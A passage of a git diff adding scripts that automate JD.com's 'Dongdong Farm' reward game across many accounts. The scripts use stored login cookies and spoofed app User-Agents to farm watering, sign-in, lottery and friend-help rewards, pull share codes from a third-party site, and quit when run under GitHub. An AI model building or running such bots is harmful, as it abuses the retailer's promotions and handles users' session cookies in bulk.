1}个好友浇水结果:${JSON.stringify($.waterFriendForFarmRes)}\n`) + if ($.waterFriendForFarmRes.code === '0') { + waterFriendsCount++; + if ($.waterFriendForFarmRes.cardInfo) { + console.log('为好友浇水获得道具了'); + if ($.waterFriendForFarmRes.cardInfo.type === 'beanCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴换豆卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'fastCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `快速浇水卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'doubleCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴翻倍卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'signCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `加签卡,`; + } + } + } else if ($.waterFriendForFarmRes.code === '11') { + console.log('水滴不够,跳出浇水') + } + } + // message += `【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`; + console.log(`【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`); + if (cardInfoStr && cardInfoStr.length > 0) { + // message += `【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`; + console.log(`【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`); + } + } else { + console.log('您的好友列表暂无好友,快去邀请您的好友吧!') + } + } else { + console.log(`今日已为好友浇水量已达${waterFriendMax}个`) + } +} + +//领取给3个好友浇水后的奖励水滴 +async function getWaterFriendGotAward() { + await taskInitForFarm(); + const { + waterFriendCountKey, + waterFriendMax, + waterFriendSendWater, + waterFriendGotAward + } = $.farmTask.waterFriendTaskInit + if (waterFriendCountKey >= waterFriendMax) { + if (!waterFriendGotAward) { + await waterFriendGotAwardForFarm(); + console.log(`领取给${waterFriendMax}个好友浇水后的奖励水滴::${JSON.stringify($.waterFriendGotAwardRes)}`) + if ($.waterFriendGotAwardRes.code === '0') { + // message += `【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`; + console.log(`【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`); + } + } else { + console.log(`给好友浇水的${waterFriendSendWater}g水滴奖励已领取\n`); + // message += `【给${waterFriendMax}好友浇水】奖励${waterFriendSendWater}g水滴已领取\n`; + } + } else { + console.log(`暂未给${waterFriendMax}个好友浇水\n`); + } +} + +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes)}`) + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } + // console.log(`开始接受6fbd26cc27ac44d6a7fed34092453f77的邀请\n`) + // await inviteFriend('6fbd26cc27ac44d6a7fed34092453f77'); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes.helpResult)}`) + // if ($.inviteFriendRes.helpResult.code === '0') { + // console.log(`您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + // } else if ($.inviteFriendRes.helpResult.code === '17') { + // console.log(`对方已是您的好友`) + // } +} + +async function duck() { + for (let i = 0; i < 10; i++) { + //这里循环十次 + await getFullCollectionReward(); + if ($.duckRes.code === '0') { + if (!$.duckRes.hasLimit) { + console.log(`小鸭子游戏:${$.duckRes.title}`); + // if ($.duckRes.type !== 3) { + // console.log(`${$.duckRes.title}`); + // if ($.duckRes.type === 1) { + // message += `【小鸭子】为你带回了水滴\n`; + // } else if ($.duckRes.type === 2) { + // message += `【小鸭子】为你带回快速浇水卡\n` + // } + // } + } else { + console.log(`${$.duckRes.title}`) + break; + } + } else if ($.duckRes.code === '10') { + console.log(`小鸭子游戏达到上限`) + break; + } + } +} + +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = {"type": 2, "version": 6, "channel": 2}; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} + +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} + +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, {"version": 4, "channel": 1}); +} + +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, {"version": 5, "channel": 1}); +} + +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, {"cardType": cardType}); +} + +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), {'type': type}); +} + +//浇水API +async function waterGoodForFarm() { + await $.wait(1000); + console.log('等待了1秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} + +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), {version: 4, channel: 1}); +} + +async function lotteryForTurntableFarm() { + await $.wait(2000); + console.log('等待了2秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), {type: 1, version: 4, channel: 1}); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), {version: 4, channel: 1}); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = {"type": type, "adId": adId, "version": 4, "channel": 1}; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} + +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = {"type": 2, "adId": type, "version": 4, "channel": 1}; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} + +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} + +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} + + +//领取新的助力奖励 +async function masterGotFinishedTaskForFarm2() { + const functionId = `receiveStageEnergy`; + $.masterGotFinished2 = await request(functionId, newPrizeBody); +} + +//新的助力好友信息API +async function masterHelpTaskInitForFarm2() { + const functionId = `farmAssistInit`; + $.masterHelpResult2 = await request(functionId, newPrizeBody); +} + +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} + +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} + +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = {"type": 1, "hongBaoTimes": 100, "version": 3}; + $.waterRain = await request(functionId, body); +} + +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, {"type": 1}); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', {"type": 2}) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} + +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} + +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), {type: 3}); +} + +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} + +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.2.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId); +} + +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', {"version": 4, "channel": 1}); + // console.log('aa', aa); +} + +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} + +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = {"shareCode": shareCode, "version": 6, "channel": 1} + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} + +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/farm/${randomCount}`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + // newShareCodes = newShareCodes.concat(readShareCodeRes.data || []); + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdFruitShareCodes = $.isNode() ? require('./jdFruitShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdFruitShareCodes).forEach((item) => { + if (jdFruitShareCodes[item]) { + $.shareCodesArr.push(jdFruitShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_fruit_inviter')) $.shareCodesArr = $.getdata('jd_fruit_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_fruit_inviter') ? $.getdata('jd_fruit_inviter') : '暂无'}\n`); + } + // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`) + // console.log(`jdFruitShareArr账号长度::${$.shareCodesArr.length}`) + console.log(`您提供了${$.shareCodesArr.length}个账号的农场助力码\n`); + resolve() + }) +} + +function request(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&body=${escape(JSON.stringify(body))}`, + headers: { + Cookie: cookie, + UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.2.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000, + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_fruit_moreTask.ts b/jd_fruit_moreTask.ts new file mode 100644 index 0000000000..6b6410ce54 --- /dev/null +++ b/jd_fruit_moreTask.ts @@ -0,0 +1,64 @@ +/** + * 农场补充任务 + * cron: 0 11,12 * * * + */ +import axios from 'axios' +import USER_AGENT, {requireConfig, TotalBean, wait} from './TS_USER_AGENTS' +import * as dotenv from 'dotenv' + +const notify = require('./sendNotify') +dotenv.config() +let cookie: string = '', res: any = '' + +let UserName: string, index: number +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + let {isLogin, nickName}: any = await TotalBean(cookie) + if (!isLogin) { + notify.sendNotify(__filename.split('/').pop(), `cookie已失效\n京东账号${index}:${nickName || UserName}`) + continue + } + console.log(`\n开始【京东账号${index}】${nickName || UserName}\n`) + + for (let k = 0; k < 3; k++) { + console.log(`round:${k + 1}`) + res = await api("taskInitForFarm", {"version": 14, "channel": 1, "babelChannel": "120"}) + for (let t of res.gotBrowseTaskAdInit.userBrowseTaskAds) { + if (t.limit !== t.hadGotTimes) { + if (t.hadFinishedTimes !== 0) { + // 领取 + res = await api("browseAdTaskForFarm", {"advertId": t.advertId, "type": 1, "version": 14, "channel": 1, "babelChannel": "120"}) + console.log('领取水滴:', res.amount) + } else { + // 做任务 + res = await api("browseAdTaskForFarm", {"advertId": t.advertId, "type": 0, "version": 14, "channel": 1, "babelChannel": "120"}) + if (res.code === '0') + console.log(`${t.mainTitle}:任务完成`) + else + console.log(`${t.mainTitle}:任务失败-${res.code}`) + } + await wait(2000) + } + } + await wait(3000) + } + } +})() + +async function api(fn: string, body: any) { + let {data}: any = await axios.get(`https://api.m.jd.com/client.action?functionId=${fn}&body=${escape(JSON.stringify(body))}&appid=wh5`, { + headers: { + 'Referer': 'https://carry.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html', + 'Connection': 'keep-alive', + 'Origin': 'https://carry.m.jd.com', + 'Host': 'api.m.jd.com', + 'User-Agent': USER_AGENT, + 'Cookie': cookie + } + }) + return data +} \ No newline at end of file diff --git a/jd_getShareCodes.ts b/jd_getShareCodes.ts new file mode 100644 index 0000000000..ca950d7922 --- /dev/null +++ b/jd_getShareCodes.ts @@ -0,0 +1,26 @@ +/** + * cron: 59 23 * * 0 + */ + +import {requireConfig} from "./TS_USER_AGENTS"; +import {bean, farm, pet, factory, sgmh, jxfactory, health} from "./utils/shareCodesTool"; + +let cookie: string = '', UserName: string, index: number; + +!(async () => { + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + console.log('种豆得豆:', await bean(cookie)) + console.log('东东农场:', await farm(cookie)) + console.log('京东健康:', await health(cookie)) + console.log('东东萌宠:', await pet(cookie)) + 